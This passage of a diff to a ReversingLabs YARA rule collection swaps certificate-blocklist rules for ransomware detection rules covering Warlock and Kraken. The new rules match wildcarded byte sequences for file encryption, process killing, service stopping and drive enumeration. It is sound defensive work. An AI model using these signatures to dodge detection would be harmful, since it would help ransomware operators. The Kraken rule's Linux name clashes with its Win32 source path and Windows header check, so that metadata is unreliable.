85 C0 78 ?? 39 75 ?? 75 ?? + 8B 85 ?? ?? ?? ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 6A ?? 89 85 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 8D 45 ?? 89 9D ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 89 B5 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 78 ?? 33 C0 B9 ?? ?? ?? ?? 83 + 7D ?? ?? 0F 44 C1 89 45 ?? 89 7D ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 03 4D ?? 39 4D ?? 73 + ?? 90 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 57 6A ?? FF 15 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 8B 75 ?? EB + } + $find_files_p1 = { + 55 8B EC 83 EC ?? 53 56 8B 75 ?? 57 8B F9 83 3E ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D + 45 ?? 50 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 89 45 ?? 8D + 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0F 89 4D ?? 85 C0 78 ?? + 83 F9 ?? 74 ?? FF 75 ?? BB ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 8B 55 ?? EB ?? FF 75 ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8B 17 33 DB 89 55 ?? C7 45 + ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 39 4D ?? 73 + } + $find_files_p2 = { + 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 53 6A ?? 6A ?? 6A ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B F8 33 DB + 89 5D ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 85 FF 78 ?? 8B 4D ?? 8B 35 ?? + ?? ?? ?? 2B CB 0F 84 ?? ?? ?? ?? 83 E9 ?? 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1 + C1 E8 ?? F7 D0 A8 ?? 74 ?? F7 C1 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 74 ?? 83 FE + ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 C0 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Select'Assistance Pro" and pe.signatures [ i ] . serial == "04:9c:e8:c4:7f:1f:0e:65:0c:b0:86:f0:cf:a7:ca:53" and 1393804799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_29F42680E653Cf8Fafd0E935553F7E86 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Warlock : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Warlock ransomware." author = "ReversingLabs" - id = "f616e92c-ed9f-581c-aa15-970bddfb073a" - date = "2020-08-05" - modified = "2023-11-08" + id = "66e2d232-c3d2-52ec-86f7-ede8c7796f94" + date = "2025-09-22" + modified = "2025-09-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L279-L295" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Warlock.yara#L1-L162" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6c726e4c2933a6472d256a18ea5265660ff035d05036ab9cae3409ab5a7c7598" + logic_hash = "c0cf1491dba387c5b50ab9adfb2af978aacab19b13fbef78757544ad3a7f2475" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Warlock" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wemade Entertainment co.,Ltd" and pe.signatures [ i ] . serial == "29:f4:26:80:e6:53:cf:8f:af:d0:e9:35:55:3f:7e:86" and 1390175999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_0C15 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "4a7a5404-1a20-53a7-9670-6f5215582c9d" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L297-L313" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1ee88813270dddeeedd90edbce9be2ce74303a6799ee64b0e9bfaea7377d3b2d" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? + ?? ?? 33 C0 83 F8 ?? 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 85 C0 + 74 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 90 E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 83 + 7C 24 ?? ?? 7D ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 85 C0 75 ?? 48 8B + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 90 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 89 44 24 + ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? EB ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 + 89 44 24 ?? 48 8B 44 24 ?? 48 39 44 24 ?? 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 + 24 ?? C7 44 24 ?? ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C 24 + ?? E8 ?? ?? ?? ?? 4C 8B C8 45 33 C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? + ?? ?? 90 48 8B 4C 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 90 + } + $encrypt_files_p2 = { + 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 0F B6 C0 85 C0 0F 84 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 4C 24 + ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B D1 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? + ?? ?? 41 B8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B D1 48 8B C8 FF 15 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 0F B6 05 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D + 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 + 8B 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 94 24 ?? ?? + ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B + C8 FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 74 ?? 48 8D 0D ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 44 8B C0 48 8D 15 + ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 48 + } + $encrypt_files_p3 = { + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E9 + ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 + 0F B6 05 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 94 24 ?? ?? + ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? + ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? + ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 74 ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 44 8B C0 48 8D 15 ?? ?? ?? ?? + 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 48 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 90 EB ?? 83 7C 24 ?? ?? 74 ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? + 48 8B C8 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 90 E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E9 ?? + ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + } + $kill_processes = { + 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 33 D2 B9 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? E9 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? + 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 + 44 24 ?? 48 63 44 24 ?? 48 83 F8 ?? 73 ?? 48 63 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 8D + 54 24 ?? 48 8B 0C C1 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 44 8B 44 24 ?? 33 D2 B9 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 48 8B 4C + 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 EB ?? EB ?? 48 8D 54 24 + ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 + ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? + C3 + } + $stop_services_p1 = { + 40 56 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? + 48 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 41 + B8 ?? ?? ?? ?? 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? + E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 48 63 44 + 24 ?? 48 83 F8 ?? 0F 83 ?? ?? ?? ?? 48 63 44 24 ?? 48 8D 0D ?? ?? ?? ?? 41 B8 ?? ?? + ?? ?? 48 8B 14 C1 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? + 0F 84 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8D 84 + 24 ?? ?? ?? ?? 33 D2 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 BC + 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D + 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 45 33 C9 4C + 8B 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 48 89 44 24 + ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8B C1 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 89 + 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? + 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 44 8B 8C 24 ?? ?? ?? ?? 4C 8B 44 24 ?? BA ?? + ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 39 44 24 ?? 0F 83 ?? + ?? ?? ?? 8B 44 24 ?? 48 6B C0 ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 8B F9 48 8D 34 02 + } + $stop_services_p2 = { + B9 ?? ?? ?? ?? F3 A4 41 B8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? + ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? BA ?? + ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 74 ?? + 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 41 + B9 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 33 D2 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 + 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? FF 15 ?? ?? ?? ?? 2B 44 24 ?? 3B 44 24 ?? + 76 ?? EB ?? EB ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 E9 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D + 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BC + 24 ?? ?? ?? ?? ?? 74 ?? 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 48 8D 84 24 ?? ?? + ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 33 D2 48 8B 4C 24 ?? + FF 15 ?? ?? ?? ?? 85 C0 75 ?? EB ?? EB ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? FF 15 + ?? ?? ?? ?? 2B 44 24 ?? 3B 44 24 ?? 76 ?? EB ?? EB ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? + ?? 90 E9 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 + 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E C3 + } + $find_drives = { + 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA C7 44 24 ?? ?? ?? ?? ?? + EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 83 7C 24 ?? ?? 7D ?? 48 63 44 24 ?? 48 8B 4C C4 + ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 63 44 24 ?? 8B 4C 24 ?? 48 8B 44 C4 ?? 48 89 + 84 CC ?? ?? ?? ?? 8B 44 24 ?? FF C0 89 44 24 ?? EB ?? FF 15 ?? ?? ?? ?? 41 B8 ?? ?? + ?? ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? E9 ?? + ?? ?? ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 + ?? ?? 75 ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 90 E9 + ?? ?? ?? ?? 83 7C 24 ?? ?? 0F 86 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 8D + 8C 24 ?? ?? ?? ?? 44 8B 44 24 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? + ?? ?? 85 C0 74 ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 7E ?? B8 ?? ?? ?? + ?? 48 6B C0 ?? 48 89 44 24 ?? 48 81 7C 24 ?? ?? ?? ?? ?? 73 ?? EB ?? E8 ?? ?? ?? ?? + 90 33 C0 48 8B 4C 24 ?? 66 89 84 0C ?? ?? 00 00 EB ?? 8B 44 24 ?? FF C8 8B C0 48 8B + 54 24 ?? 48 8B 8C C4 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? FF C8 89 + 44 24 ?? EB ?? EB ?? 41 B8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B + 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? + ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "William Richard John" and pe.signatures [ i ] . serial == "0c:15" and 1387324799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $encrypt_files_p* ) ) and ( $kill_processes ) and ( all of ( $stop_services_p* ) ) and ( $find_drives ) } - -rule REVERSINGLABS_Cert_Blocklist_0C0F : INFO FILE +rule REVERSINGLABS_Linux_Ransomware_Kraken : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Kraken ransomware." author = "ReversingLabs" - id = "919a62ba-2902-5088-ad92-9f1bae23e68f" - date = "2020-08-05" - modified = "2023-11-08" + id = "7c302c2e-6ffc-5f51-90f4-c4ebd6c1c28b" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L315-L331" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Kraken.yara#L1-L151" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0f8fda07dc362b7e04892446f1abe1e5f5717ee715824a2c1f6550096c366701" + logic_hash = "4a3867aba4dbdce5d008331a3058f57b00db246975fc4d77b79ab49d5f0bbb15" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Kraken" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dmitry Vasilev" and pe.signatures [ i ] . serial == "0c:0f" and 1386719999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_06A164Ec5978497741Ee6Cec9966871B : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "6c73206d-3d5c-5540-a2e1-d00138d7e1b5" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L333-L349" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8a27015d94a3bd8543a8ca9202831ffc9c9e65f61bf26ed6825c3e746b6af0d4" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $enum_volumes = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? 00 A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 50 45 4C 00 C7 45 + FC 00 00 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? + ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? + 8A 06 84 C0 0F 84 ?? ?? ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8B D4 + C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 83 7A ?? ?? 72 ?? 8B 02 EB ?? 8B C2 C6 00 + ?? 80 3E ?? 75 ?? 33 C9 EB ?? 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 51 56 8B CA + E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 C6 ?? E9 ?? ?? ?? ?? BA ?? + ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? + ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? 68 ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 + ?? ?? ?? ?? 8B E5 5D C3 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? B8 ?? ?? ?? ?? C3 + } + $enum_shares_p1 = { + 50 56 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F + 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 66 0F 1F 44 00 ?? FF 75 ?? 6A ?? FF + 15 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 56 8D 45 ?? 89 75 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? 33 FF 0F 1F 40 ?? 3B 7D ?? 0F 83 ?? ?? ?? ?? 8B C7 C1 E0 ?? + 03 F0 F7 46 ?? ?? ?? ?? ?? 74 ?? 